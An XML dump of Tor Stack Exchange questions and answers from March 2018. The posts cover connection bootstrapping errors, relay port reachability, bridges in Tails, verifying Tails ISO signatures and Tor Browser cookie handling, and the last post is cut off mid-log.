  <row Id="16874" PostTypeId="1" CreationDate="2018-03-18T00:10:30.173" Score="0" ViewCount="295" Body="&lt;p&gt;this is the data it shows, please help!&#xA;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3/18/2018 00:44:41.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/18/2018 00:45:24.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/18/2018 00:45:24.400 [NOTICE] Switching to guard context &quot;default&quot; (was using &quot;bridges&quot;) &#xA;3/18/2018 00:45:24.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/18/2018 00:45:24.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/18/2018 00:45:24.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/18/2018 00:45:24.400 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;3/18/2018 00:45:24.400 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;3/18/2018 00:45:48.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host FC9AC8EA0160D88BCCFDE066940D7DD9FA45495B at 86.59.119.83:443) &#xA;3/18/2018 00:45:48.600 [WARN] 10 connections have failed: &#xA;3/18/2018 00:45:48.600 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/18/2018 00:45:48.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;3/18/2018 00:45:48.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/18/2018 00:45:48.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;3/18/2018 00:45:49.500 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;" OwnerUserId="21389" LastActivityDate="2018-03-18T16:09:26.637" Title="I have a problem connecting to Tor network" Tags="|network-configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2018-03-27T20:21:03.750" ContentLicense="CC BY-SA 3.0" />
  <row Id="16877" PostTypeId="1" CreationDate="2018-03-18T07:47:50.717" Score="0" ViewCount="5253" Body="&lt;p&gt;I am running my tor relay via Debian Linux, and am wondering, how do I update the TOR software via the command line? I am not running the tor browser software here, just the tor software for running relays?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be important to note my relay is running in a Debian Linux virtual machine which is running via VirtualBox. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2019-08-16T13:00:58.080" Title="How To Update TOR Software On Debian Linux" Tags="|configuration|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16878" PostTypeId="2" ParentId="9128" CreationDate="2018-03-18T15:31:43.357" Score="2" Body="&lt;p&gt;To rephrase what you are saying: you'd like to establish a VPN tunnel and then use Tor to connect to external hosts across that tunnel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can achieve this by running Tor on the VPN server and configuring it to listen on the VPN IP.&#xA;i.e. if the VPN IP of the server is 10.0.0.1, you can configure Tor (in torrc) with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SocksPort 10.0.0.1:9050&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, your VPN client should establish the tunnel and use 10.0.0.1:9050 as SOCKS5 server in its applications (i.e. the web browser).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is that your connections will be established via a Tor exit-node, but the client ISP will only see a VPN tunnel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this way any VPN client will be able to use the VPN server as Tor entry point. One way to limit this is to assign a static IP to the VPN client and then configure the server firewall to allow connections to tcp/9050 only from that specific IP.&lt;/p&gt;&#xA;" OwnerUserId="21393" LastActivityDate="2018-03-18T15:31:43.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16879" PostTypeId="2" ParentId="16877" CreationDate="2018-03-18T15:41:21.357" Score="1" Body="&lt;p&gt;You can update the installed &lt;code&gt;tor&lt;/code&gt; package from the Debian repository this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install -y --only-upgrade tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21252" LastEditorUserId="114" LastEditDate="2018-06-22T09:02:10.530" LastActivityDate="2018-06-22T09:02:10.530" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16880" PostTypeId="2" ParentId="16874" CreationDate="2018-03-18T16:09:26.637" Score="0" Body="&lt;p&gt;Seems your ISP very loyal :D If you use expert bundle add in torrc &lt;a href=&quot;https://bridges.torproject.org/bridges?transport=obfs4&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges&lt;/a&gt; or configure &lt;a href=&quot;https://tb-manual.torproject.org/en-US/circumvention.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;browser&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21252" LastActivityDate="2018-03-18T16:09:26.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16881" PostTypeId="2" ParentId="16854" CreationDate="2018-03-18T16:26:32.287" Score="1" Body="&lt;p&gt;VPN need to hide the fact of using tor from your ISP but you can simply use obfs &lt;a href=&quot;https://bridges.torproject.org/bridges?transport=obfs4&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21252" LastActivityDate="2018-03-18T16:26:32.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16883" PostTypeId="1" AcceptedAnswerId="16885" CreationDate="2018-03-19T06:01:31.443" Score="0" ViewCount="2994" Body="&lt;p&gt;I noticed the Tor browser that come with Tails live OS is a bit different than Tor browser bundle for Windows OS. The latter comes with built-in sets of bridges(obfs3, obfs4, meek, etc), while in Tails, there're no such options, the configuration window ask you to manually input bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, obfs3 and obfs4 bridges can be retrieved using bridgeDB, however, there're no meek bridges in bridgeDB. So my question is, is it possible to use meek bridges in Tails? If so, how do I do it?&lt;/p&gt;&#xA;" OwnerUserId="17930" LastActivityDate="2018-03-20T00:23:39.783" Title="How to configure tor browser in Tails to use meek bridges?" Tags="|tails|meek|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16885" PostTypeId="2" ParentId="16883" CreationDate="2018-03-20T00:23:39.783" Score="1" Body="&lt;p&gt;Tails does not currently support &lt;code&gt;meek&lt;/code&gt; bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is work being done to enable this, so that &lt;code&gt;meek&lt;/code&gt; and &lt;code&gt;moat&lt;/code&gt; will work in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The work is mostly done but it's not yet in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ticket it's being dealt with under is &lt;a href=&quot;https://labs.riseup.net/code/issues/8243&quot; rel=&quot;nofollow noreferrer&quot;&gt;#8243&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the issues revolve around Tails' torification of DNS and meek requiring DNS already in place to work. Since torified DNS can't work until Tor is bootstrapped and Tor can't bootstrap over meek until there's DNS it creates a dependency conflict that needs some work arounds to resolve.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-03-20T00:23:39.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16887" PostTypeId="2" ParentId="9223" CreationDate="2018-03-20T15:43:53.127" Score="0" Body="&lt;p&gt;As to measured bandwidth, which I understand = consensus weight&#xA;it is wrong by a factor of 1000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;unit in kB means MB&lt;/p&gt;&#xA;" OwnerUserId="21409" LastActivityDate="2018-03-20T15:43:53.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16893" PostTypeId="1" AcceptedAnswerId="16899" CreationDate="2018-03-21T13:29:55.140" Score="0" ViewCount="328" Body="&lt;p&gt;after reading articles about tor and how it works-Tor Node too. i want to create my own Tor Node and transfer to my Node my data from the browsing.&#xA;I'm using VMware Workstation with Ubuntu 14.04 LTS&#xA;this is my &lt;code&gt;torrc&lt;/code&gt; file, copy, paste from tor site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nickname test&#xA;ORPort 443&#xA;ExitRelay 0&#xA;SocksPort 0&#xA;ControlSocket 0&#xA;ContactInfo human@gmail.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after running in the terminal the &lt;code&gt;tor&lt;/code&gt; commend I'm getting messages that its running well and its &#xA;&lt;code&gt;bootstrapped 100%&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[notice] Now checking whether ORPort xx.xxx.xxx.x:443 is reachable... (this may take up to 20 minutes -- look for log messages indicating success)&#xA;&lt;/code&gt;&#xA;here the error messages starts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Your network connection speed appears to have changed. Resetting timeout to 60s after 18 timeouts and 100 buildtimes.&#xA;&#xA;[warn] Your server (xx.xxx.xxx.x:443) has not managed to confirm that its ORPort is reachable. Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i dont know how to handle this error message after a long search what to do. &lt;/p&gt;&#xA;" OwnerUserId="21173" LastEditorUserId="20069" LastEditDate="2018-03-27T10:23:16.373" LastActivityDate="2018-03-27T10:23:16.373" Title="Do I need external IP for Tor Node?" Tags="|configuration|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16894" PostTypeId="1" CreationDate="2018-03-21T22:31:02.367" Score="2" ViewCount="2385" Body="&lt;p&gt;I was wondering how I can upload files over the tor network. How can you sftp over tor?&lt;/p&gt;&#xA;" OwnerUserId="21425" LastEditorUserId="21425" LastEditDate="2018-10-06T16:32:51.827" LastActivityDate="2022-09-17T11:54:41.120" Title="How can you sftp over tor?" Tags="|configuration|ubuntu|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16895" PostTypeId="2" ParentId="16894" CreationDate="2018-03-22T02:24:29.090" Score="0" Body="&lt;p&gt;&lt;code&gt;sftp&lt;/code&gt; does not work over tor out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;scp&lt;/code&gt; command instead of &lt;code&gt;sftp&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="721" LastActivityDate="2018-03-22T02:24:29.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16897" PostTypeId="1" CreationDate="2018-03-22T11:37:18.503" Score="1" ViewCount="1240" Body="&lt;p&gt;Since the introduction of the new Tails signing key, which I think was towards the end of 2015, I have had variable success in verifying my download of the Tails ISO file. For example, to verify the &lt;code&gt;tails-amd64-3.6.iso&lt;/code&gt; file, I enter the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyid-format 0xlong --verify tails-amd64-3.6.iso.sig tails-amd64-3.6.iso&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which returns the informative message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg: Signature made Tue 13 Mar 2018 11:41:20 AEDT&#xA;gpg:                using RSA key 0x3020A7A9C2B72733&#xA;gpg: Good signature from &quot;Tails developers &amp;lt;tails@boum.org&amp;gt;&quot;&#xA;gpg:                 aka &quot;Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&quot;&#xA;gpg: WARNING: This key is not certified with a trusted signature!&#xA;gpg:          There is no indication that the signature belongs to the owner.&#xA;Primary key fingerprint: A490 D0F4 D311 A415 3E2B  B7CA DBB8 02B2 58AC D84F&#xA;    Subkey fingerprint: 2FAF 9BA0 D65B B371 F0BC  2D46 3020 A7A9 C2B7 2733&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I attempt the same with the &lt;code&gt;tails-amd64-3.6.1.iso&lt;/code&gt; using the supplied signature file &lt;code&gt;tails-amd64-3.6.1.iso.sig&lt;/code&gt;, using the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyid-format 0xlong --verify tails-amd64-3.6.1.iso.sig tails-amd64-3.6.1.iso&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg: Signature made Sat 17 Mar 2018 11:08:42 AEDT&#xA;gpg:                using ? key 0x90B2B4BD7AED235F&#xA;gpg: Can't check signature: unknown pubkey algorithm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is going wrong, and what is it that I should have done, or be doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that there is always the remote possibility that I have downloaded a fake Tails iso file. For what it is worth, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sha256sum --binary tails-amd64-3.6.1.iso&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gives&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;826c8fc05a7fb04962c6a45350648fc9273bf98f8b19b2d5a491b440d78ecbf6 *tails-amd64-3.6.1.iso&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NEW INFO ADDED 2018-03-23 : I have installed the Tails verification extension in Firefox, which verifies the download. However, I'd still be very interested to know why the &lt;code&gt;gpg&lt;/code&gt; check fails (despite the same approach succeeding with the 3.6 ISO)&lt;/p&gt;&#xA;" OwnerUserId="435" LastEditorUserId="435" LastEditDate="2018-03-23T06:34:24.870" LastActivityDate="2019-04-27T04:04:11.460" Title="Variable success in verifying Tails" Tags="|tails|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16899" PostTypeId="2" ParentId="16893" CreationDate="2018-03-22T13:51:01.060" Score="0" Body="&lt;p&gt;Read the TorRelayGuide. It is very very useful. &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide#OSLevelConfiguration&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you are using a firewall, open a hole in your firewall so incoming connections can reach the ports you will use for your relay (ORPort, plus DirPort if you enabled it). Also, make sure you allow all outgoing connections too, so your relay can reach the other Tor relays, clients and destinations. You can find the specific ORPort TCP port number in the torrc configuration samples bellow (in the OS specific sections).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You need to tell your router to forward a port to the machine running VMWare. Then you probably need to tell VMWare to forward the same port to the Ubuntu VM.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-03-22T13:51:01.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16901" PostTypeId="1" CreationDate="2018-03-22T17:09:50.127" Score="0" ViewCount="818" Body="&lt;p&gt;consider these two scenarios:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You use tor on a private network (ex: home wifi), you also use a VPN you trust as a second layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You use tor on a public network (ex: library), and a VPN you trust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the VPN never disconnects and there are no human errors, is there a advantage of using a public network? Does using a public network provide more anomitity or is it the same as a using a private one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is the only advantage of a public network that if something fails your real IP cannot be leaked?&lt;/p&gt;&#xA;" OwnerUserId="21436" LastActivityDate="2018-09-19T18:01:40.230" Title="Is there any advantage at using public wifi with tor?" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16904" PostTypeId="1" CreationDate="2018-03-22T18:49:09.713" Score="0" ViewCount="10434" Body="&lt;p&gt;The tor browser launches &amp;amp; loads fine, but when I attempt to load a page/site I get the following warning : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secure Connection Failed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The connection to the server was reset while the page was loading.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The page you are trying to view cannot be shown because the authenticity of the received data could not be verified.&#xA;Please contact the website owners to inform them of this problem.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Learn more…&lt;/p&gt;&#xA;" OwnerUserId="21439" LastActivityDate="2022-04-01T20:01:05.117" Title="tor browser launches but can't load any pages" Tags="|troubleshooting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16906" PostTypeId="2" ParentId="16904" CreationDate="2018-03-23T08:36:56.777" Score="0" Body="&lt;p&gt;I had problem with accessing web pages when I started using Firefox, and Tor browser is based on the Firefox code base, and it turned out to be a certificate issue with AdGuard. After I reinstalled the AdGuard certificate Firefox is working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7B31S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7B31S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my recommendation to you is to look around for any extensions that might be installed, and any software outside of the Tor Browser that might interfere with the internet traffic (like AdGuard). And also as suggested above, try disabling your Anti-Virus software and see if it works without it.&lt;/p&gt;&#xA;" OwnerUserId="21442" LastActivityDate="2018-03-23T08:36:56.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16908" PostTypeId="2" ParentId="16901" CreationDate="2018-03-23T15:34:18.700" Score="1" Body="&lt;p&gt;It depends on your threat model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming a typical set-up of Tor browser bundle and a VPN for all traffic on your PC, using Tor through a VPN obscures the use of Tor to the local network, and to your ISP. Your VPN provider knows you are using Tor either way, but doesn't know what sites you visit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding private vs. public network: There could be many factors, and it again depends on who you want to be anonymous from, and what your risk tolerance is. How hard is it to obtain your identity from your private ISP IP address? How hard is it to access surveillance cameras (or your phone location, or your car license plates parked outside, or other data that can be correlated to your identity) in or near the public location?&lt;/p&gt;&#xA;" OwnerUserId="62" LastEditorUserId="62" LastEditDate="2018-03-23T15:41:16.440" LastActivityDate="2018-03-23T15:41:16.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16912" PostTypeId="1" CreationDate="2018-03-24T07:54:30.277" Score="0" ViewCount="2176" Body="&lt;p&gt;I am not able to open any sites with tor browser from my win 10 laptop in office, even though I could do this earlier. I suspect my IT admin is now blocking tor through the office router/firewall. Even though browser starts fine and shows the tor circuit, sites do not load. I can see the browser trying to open site and then below error appears. It is also surprising that it is the same situation, even when I connect the laptop to the internet through my phone and office LAN is disconnected !! Can my laptop be configured to compulsory access company router through net (block tor) ?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Secure Connection Failed&lt;br /&gt;&#xA;The connection to the server was reset while the page was loading.&#xA;The page you are trying to view cannot be shown because the authenticity of the received data could not be verified.&lt;br /&gt;&#xA;Please contact the website owners to inform them of this problem.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21458" LastEditorUserId="88" LastEditDate="2023-04-04T20:24:27.893" LastActivityDate="2023-11-21T14:04:10.470" Title="Tor Browser not able to open sites" Tags="|tor-browser-bundle|windows|censorship|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="16913" PostTypeId="1" CreationDate="2018-03-24T09:59:00.967" Score="0" ViewCount="39514" Body="&lt;p&gt;Every time I watch a video on tor this message is displayed”no video supported format and mime type found”. How do you fix this I tried changing the security from high to normal it still did not work&lt;/p&gt;&#xA;" OwnerUserId="21452" LastActivityDate="2022-03-27T04:08:30.933" Title="no video supported format and mime type found" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16917" PostTypeId="1" CreationDate="2018-03-24T21:44:50.477" Score="0" ViewCount="609" Body="&lt;p&gt;I download tor for Linux OS/Ubuntu 17.10 save the file and ran the code as required according to the website. But unable to open the file and run code: &lt;code&gt;tar -xvJf tor-browser-linux64-7.5.2_LANG.tar.xz&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however it will not open file to run. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the output I'm getting..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tar -xvJf tor-browser-linux64-7.5.2_LANG.tar.xz&#xA;tar (child): tor-browser-linux64-7.5.2_LANG.tar.xz: Cannot open: No such file or directory&#xA;tar (child): Error is not recoverable: exiting now&#xA;tar: Child returned status 2&#xA;tar: Error is not recoverable: exiting now&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21468" LastEditorUserId="20584" LastEditDate="2018-09-10T09:24:30.323" LastActivityDate="2021-12-23T18:02:40.310" Title="Unable to open tor folder in Ubuntu 17.10" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16918" PostTypeId="2" ParentId="16917" CreationDate="2018-03-25T01:57:38.093" Score="0" Body="&lt;p&gt;just copy the name of the downloaded file, and replace with the following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;tor-browser-linux64-7.5.2_&lt;b&gt;LANG&lt;/b&gt;.tar.xz&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it should decompress the file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;apt-get install tor&lt;/p&gt;&#xA;" OwnerUserId="14452" LastEditorUserId="14452" LastEditDate="2018-03-25T02:47:29.340" LastActivityDate="2018-03-25T02:47:29.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16921" PostTypeId="1" CreationDate="2018-03-25T15:49:19.570" Score="-1" ViewCount="154" Body="&lt;p&gt;I use Tor Browser 7.5.2 on Windows 7 and apparently I can't post question on tor.stackexchange.com (this website), I usually always post question on stackexchange using Tor but this time I can't (see my screenshot bellow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issues is huge guys, if even Tor techies people can't figure out what wrong with that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my part I'm not going ask all questions I'm willing to if Tor is blocked on this website this look like &quot;censorship in upstream&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ncfJp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ncfJp.png&quot; alt=&quot;Tor traffic censored&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;QUANTUM to degrade/deny/disrupt Tor access? &quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ref : &lt;a href=&quot;https://www.eff.org/files/2014/04/09/20131004-guard-tor_stinks.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/files/2014/04/09/20131004-guard-tor_stinks.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you for understanding. :)&lt;/p&gt;&#xA;" OwnerUserId="21461" LastActivityDate="2021-08-08T21:18:47.047" Title="I can't ask questions using Tor on tor.stackexchange.com" Tags="|tor-browser-bundle|censorship|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16922" PostTypeId="2" ParentId="16921" CreationDate="2018-03-25T21:10:17.250" Score="0" Body="&lt;p&gt;If you are using Tor and it says abuse is originating from &quot;your&quot; network, it means the network of the exit node. Not your real network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, select the Tor browser button and select New identity or New Tor circuit for this site. If it still does not work, close Tor browser and open it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat until the message is gone. I find that it is easier to make a dedicated Tor Stackexchange account and log in before posting a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sort of denial of service is caused by spammers who posts their spam on this site proxying through Tor.&lt;/p&gt;&#xA;" OwnerUserId="21057" LastActivityDate="2018-03-25T21:10:17.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16925" PostTypeId="1" CreationDate="2018-03-26T15:14:13.853" Score="1" ViewCount="1170" Body="&lt;p&gt;I'm using Tor Browser with Tor Network disabled. I usually keep Accept Cookies unchecked, but some sites, like the bank and email, require cookies, so I have to enable them. However, I never see them in my browser after clicking Show Cookies. I've even tried it while still logged in the previously mentioned sites, and I still don't see the cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would cause them to not show up in the list?&lt;/p&gt;&#xA;" OwnerUserId="21484" LastActivityDate="2018-12-21T19:01:30.427" Title="How does Tor Browser deal with cookies? I never see them in Tor" Tags="|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16926" PostTypeId="2" ParentId="16925" CreationDate="2018-03-26T15:42:04.320" Score="1" Body="&lt;p&gt;Tor Browser borrows a lot of Firefox's private browsing functionality in order to implement its advanced security features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Firefox's private browsing mode, cookies are accepted but will not show up in that graphical dialog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side effect, while Tor Browser will accept cookies by default, they will not show up in that dialog.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-03-26T15:42:04.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16928" PostTypeId="1" CreationDate="2018-03-27T06:23:15.523" Score="0" ViewCount="96" Body="&lt;p&gt;I have been working to get my relay marked as stable. I am aware that a relay needs to be running for 8 days to be listed as stable. I had it up to four solid days, but had to restart it tonight as my contact information was entered incorrectly. Despite only being off for one minute or so, torstatus.blutumage.de picked up that it restarted, and now reads “uptime: 0 days”. Does this mean I have to restart the 8 days over again from the start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="20069" LastEditDate="2018-03-27T20:18:46.173" LastActivityDate="2018-09-23T23:02:01.213" Title="How does tor network calculate relay status?" Tags="|relays|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16930" PostTypeId="1" CreationDate="2018-03-27T10:34:51.503" Score="0" ViewCount="2640" Body="&lt;p&gt;I'm trying to use TorBrowser in my school network, however it is stuck establishing a connection: &lt;code&gt;Establishing a Tor circuit...&lt;/code&gt;&#xA;This is using the connect option without any custom settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarity, I've tried multiple bridges which all fail. The error message is &quot;&lt;code&gt;Tor failed to establish a Tor network connection.&lt;/code&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the logs...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;27/03/2018, 11:29:10.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:29:10.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:29:10.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:29:10.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;27/03/2018, 11:29:10.400 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;27/03/2018, 11:30:19.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;27/03/2018, 11:30:19.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:30:19.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;27/03/2018, 11:30:19.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;27/03/2018, 11:30:20.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:30:20.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:30:20.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/03/2018, 11:30:20.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;27/03/2018, 11:30:21.400 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop 